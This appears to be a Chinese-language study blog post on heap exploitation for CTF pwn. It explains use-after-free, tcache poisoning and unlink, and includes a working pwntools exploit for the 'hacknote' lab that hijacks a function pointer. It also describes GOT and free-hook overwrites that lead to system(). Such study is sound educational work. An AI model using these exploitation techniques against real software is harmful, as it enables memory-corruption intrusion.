pwn入门-堆常见漏洞

简介

常见漏洞

  1. 堆溢出
  2. DOUBLE FREE(USE AFTER FREE)
  3. UNLINK

常见利用方式:

  1. 修改MALLOC HOOK,FREE HOOK
  2. 覆写GOT表

image-20250116093308526

image-20250116094016176

堆溢出不像栈溢出可以直接劫持程序流,直接控制程序流程,也不像格式化字符串一样狙击式攻击。它主要是通过利用漏洞获取一个可以任意写的CHUNK,通过该CHUNK进行内存关键地址(GOT表,HOOK)的改写,进而达到一定目的。

image-20250116094821450

UNLINK

该漏洞会导致你拥有可以在任意可读写地址进行读写的能力

GOT表改写

HOOK修改(MALLOC HOOKFREE HOOKREALLOC HOOK)

image-20250116095041881

UAF

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

原理

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

这里给出一个简单的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <stdlib.h>
typedef struct name {
char *myname;
void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
NAME *a;
a = (NAME *)malloc(sizeof(struct name));
a->func = myprint;
a->myname = "I can also use it";
a->func("this is my function");
// free without modify
free(a);
a->func("I can also use it");
// free with modify
a->func = printmyname;
a->func("this is my function");
// set NULL
a = NULL;
printf("this pogram will crash...\n");
a->func("can not be printed...");
}

运行结果如下

1
2
3
4
5
6
➜  use_after_free git:(use_after_free) ✗ ./use_after_free                      
this is my function
I can also use it
call print my name
this pogram will crash...
[1] 38738 segmentation fault (core dumped) ./use_after_free

另一个例子:

image-20250116153333247

1
unsigned long long target[100];

用于伪造一个假的 chunk。

分配与释放内存

1
2
unsigned long long *p = malloc(0x10);
free(p);
  • malloc(0x10): 分配 16 字节的堆内存,p 指向这个内存块。
  • free(p): 释放这块内存,p 指向的 chunk 会进入 tcache 或 fastbin(具体行为取决于堆管理器的实现)。
  • 此时,p 的元数据仍然留在堆中。

伪造堆块

1
p[0] = target;

修改 p 所在 chunk 的 fd(forward pointer),将其指向伪造的 target

伪造 chunk 的元数据

1
2
target[0] = 0;        // prev_size (无用字段,值为 0)
target[1] = 0x21; // size

将 target的前两个字段伪造成堆块的元数据:

target[0]: 伪造的 prev_size,表示前一个 chunk 的大小(对 tcache 分配无效,可设置为任意值)。

target[1]: 伪造的 size,设置为 0x21(即 32 字节,包括元数据和用户数据)。

0x21 表示此 chunk 的大小为 16 字节(用户数据)+ 16 字节(元数据)。

第二次分配

1
malloc(0x10); // Must be same size as p
  • 再次分配大小为 0x10 的堆内存。
  • 因为释放的 p 对应的 chunk 已被伪造,分配的地址会指向 target

写入数据

1
2
char *q = malloc(0x10); // Must be same as target
memcpy(q, "hello", 6);
  • 再次分配的 q 会指向 target(伪造的 chunk)。
  • 使用 memcpyq 写入 "hello" 字符串(包括空终止符,共 6 字节)。
  • 因为 qtarget 是同一个地址,所以写入的数据会覆盖 target[2] 开始的内存。

打印内容

1
printf("%s\n", &target[2]);

因为 "hello" 被写入 target[2] 开始的位置,所以程序输出:hello

问题 1: 为什么 malloc(0x10) 会分配的地址指向 target,而不是新构造一个 chunk?

原因:tcache 的机制

  1. 释放后的 chunk: 当 free(p) 被调用时,p 指向的 chunk 会被放入 tcache(Thread-Cache)。tcache 是堆管理的一部分,用于存储小块内存(如 0x10)的空闲 chunk。

  2. 修改 fd 指针: 在 free(p) 后,代码修改了 p 所指 chunk 的 fd,将其指向 target。堆管理器认为这是 chunk 的下一个空闲块。

    1
    p[0] = target;
  3. 再次分配时: 当 malloc(0x10) 被调用时,堆管理器会优先从 tcache 中分配空闲块。由于 tcache 的链表头已经被伪造指向 target,分配的内存块就是 target

问题 2: 为什么 char \*q = malloc(0x10) 会指向伪造的 target

伪造 tcache 链表

  • 堆管理器在分配内存时,从 tcache 的链表头获取空闲块。
  • 通过修改 tcache 链表(伪造 fd 指针),下一个分配的 chunk 地址被劫持到伪造的地址 target
  • 所以 malloc(0x10) 返回的 q 就是 target 的起始地址。

问题 3: 为什么写入的数据覆盖 target[2] 开始的内存,而不是覆盖 target[0]target[1]

堆块结构和用户数据区域

  1. 堆块结构:
    • 一个堆块包含元数据和用户数据。
    • 元数据位于 chunk 的头部(target[0]target[1])。
    • 用户数据紧随元数据之后,通常从 chunk 的第 3 个 unsigned long long 开始(即 target[2])。
  2. 写入数据:
    • memcpy(q, "hello", 6)q 指向的地址写入数据。
    • 因为 q 是用户数据区域的起始地址,数据覆盖从 target[2] 开始的位置。

问题 4: 如果删掉 malloc(0x10) 直接执行 char \*q = malloc(0x10) 会怎么样?

情况分析

  • 如果删掉 malloc(0x10)char *q = malloc(0x10) 仍会指向伪造的 target
  • 原因是 malloc(0x10) 的行为是从 tcache 分配一个 chunk,而伪造的 target 是第一个空闲块,无论调用一次还是两次分配,结果相同。
  • 删除前一个 malloc(0x10)后:q 的值仍然是 target,功能不会受到影响。

CTF-WIKI的例子

1
2
3
4
puts(" 1. Add note          ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");

note 的结构体定义如下:

1
2
3
4
struct note {
void (*printnote)();
char *content;
};

注意,printnote在前,content在后

addnote:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int add_note()
{
note *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
notelist[i]->put = print_note_content;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = notelist[i];
v0->content = malloc(size);
if ( !notelist[i]->content )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i]->content, size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}

print_note:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
notelist[v1]->put(notelist[v1]);
return __readgsdword(0x14u) ^ v3;
}

delete:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
{
free(notelist[v1]->content);
free(notelist[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

我们可以看到 Use After Free 的情况确实可能会发生,那么怎么可以让它发生并且进行利用呢?需要同时注意的是,这个程序中还有一个 magic 函数,我们有没有可能来通过 use after free 来使得这个程序执行 magic 函数呢?一个很直接的想法是修改 note 的printnote字段为 magic 函数的地址,从而实现在执行printnote 的时候执行 magic 函数。 那么该怎么执行呢?

  1. 程序申请 8 字节内存用来存放 note 中的 printnote 以及 content 指针。

  2. 程序根据输入的 size 来申请指定大小的内存,然后用来存储 content。

    1
    2
    3
    4
    5
    6
    7
    8
    +-----------------+                       
    | printnote |
    +-----------------+
    | content | size
    +-----------------+------------------->+----------------+
    | real |
    | content |
    +----------------+

我们必须想办法让某个 note 的 printnote 指针被覆盖为 magic 地址。由于程序中只有唯一的地方对 printnote 进行赋值。所以我们必须利用写 real content 的时候来进行覆盖。具体采用的思路如下

  • 申请 note0,note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)

  • 释放 note0,note1

  • 此时,大小为 16 的 fast bin chunk 中链表为 note1->note0

  • 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则,note2 其实会分配 note1 对应的内存块。real content 对应的 chunk 其实是 note0。

    note1->note0 == note2(note1) -> note0(real content,magic的地址)

  • 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

r = process('./hacknote')


def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))


def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))


#gdb.attach(r)
magic = 0x08048986

addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1

delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2
printnote(0) # print note 0
r.interactive()

[原创]Use-after-free之lab 10 hacknote-Pwn-看雪-安全社区|安全招聘|kanxue.com

note1->note0 == note2(note1) -> note0(real content,magic的地址)前还好,之后其实就有点懵了,为什么printnote(0)就会执行magic?虽然知道肯定是被修改了地址,但是它是怎么做到的?

note1->note0 == note2(note1) -> note0(real content,magic的地址

上面这个还是有点抽象,因此后面我参考了上面那篇文章,找到了更好的方式

image-20250116204801803

chunk0就是put,chunk1就是content

因此现在的链是上面那样,首先原本的note1的chunk0会被当成note2的chunk0,而原本的note0的chunk0会被当成note2的chunk1

这时如果我们向note2的chunk1中填写数据,则相当于将note0的chunk0更改了

这样就比较好理解了,此时我们再执行print_note()就会执行magic函数,如下图

image-20250116205110517

actf_2019_babyheap

我们再参考BUUCTF的一题,这个是B站星盟的视频讲解,跟上题差不多,区别就是不是直接的magic而是散装的binsh和system函数拼接

其它相似的我直接不介绍了

add:

image-20250116205251794

ptint

image-20250116205306902

delete都基本一样

有个地方不一样

image-20250116205336895

content在前,func在后

image-20250116205415515

image-20250116205428736

最大疑问在于为什么binsh在前而system在后,其实也就是因为content在前而func在后而已

因为我先看星盟视频,理解太少了,后面先去看了wiki上简单的,理解完,下面那就简单了

一道题彻底理解 Pwn Heap Unlink-腾讯云开发者社区-腾讯云

pwn知识——unlink(smallbins) - Falling_Dusk - 博客园

image-20250117100434051

image-20250117100645464

image-20250116101328002

image-20250116102048708

fast_bin和small_bin不使用unlink

image-20250117101832701

image-20250117114414436

size的末位0表示空闲,1表示在使用

image-20250117104750226

image-20250117110127200

应该是BK+0x10地址中所存放的地址等于P的地址,按C语言的写法:*(BK+0x10)=p;括号里和p都是地址

image-20250117110542030

FD+0X18=FD->bk=P BK+0X10=BK->fd=P

假如chunk在0x30,memory地址在0x40,假如在这伪造一个假的chunk

image-20250117122919920

上图也就是下图:

image-20250117110920697

在堆内存管理中,unlink 是释放操作的一部分。当一个内存块被释放时,堆分配器会检查其前后邻接的内存块是否为空闲状态。如果相邻块为空闲块,就会通过 unlink 将它们从空闲链表中取出,并尝试合并它们。

image-20250117124419707

image-20250117124517375

image-20250117124731353

现在有物理空间连续的两个 chunk(Q,Nextchunk),其中 Q 处于使用状态、Nextchunk 处于释放状态。那么如果我们通过某种方式(比如溢出)将 Nextchunk 的 fd 和 bk 指针修改为指定的值。则当我们 free(Q) 时

  • glibc 判断这个块是 small chunk
  • 判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并
  • 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并
  • 继而对 Nextchunk 采取 unlink 操作

那么 unlink 具体执行的效果是什么样子呢?我们可以来分析一下

  • FD=P->fd = target addr -12 (FD是后一个chunk,P的fd给了FD,P的fd被设置为一个地址)
  • BK=P->bk = expect value (BK是后一个chunk,P的bk给了BK)
  • FD->bk = BK,即 *(target addr-12+12)=BK=expect value (后一个chunk的前一个 = BK,相当于删除这个P,改变指向)
  • BK->fd = FD,即 *(expect value +8) = FD = target addr-12

但是不适用有检查的情况

  • FD->bk = target addr - 12 + 12=target_addr
  • BK->fd = expect value + 8

image-20250117131212733

image-20250117131234705

当满足以上条件时,才可以进入 Unlink 断链的环节:

因为 P 只可能从 smallbin 或者 largebin 中脱链,而这两个 bin 都是双向链表,因此脱链操作必须同时修改前后 chunk 的 fd 或者 bk 指针,即进行如下操作

1
2
FD->bk = BK <=> P->fd->bk = p->bk <=> *(P->fd + 0x18) = P->bk //Ⅰ
BK->fd = FD <=> P->bk->fd = p->fd <=> *(P->bk + 0x10) = P->fd //Ⅱ

image-20250117132644195

假设我们设置 P = free_got, *(&P-0x18) = system,那么当下一次free一个堆块的时候,就会调用system。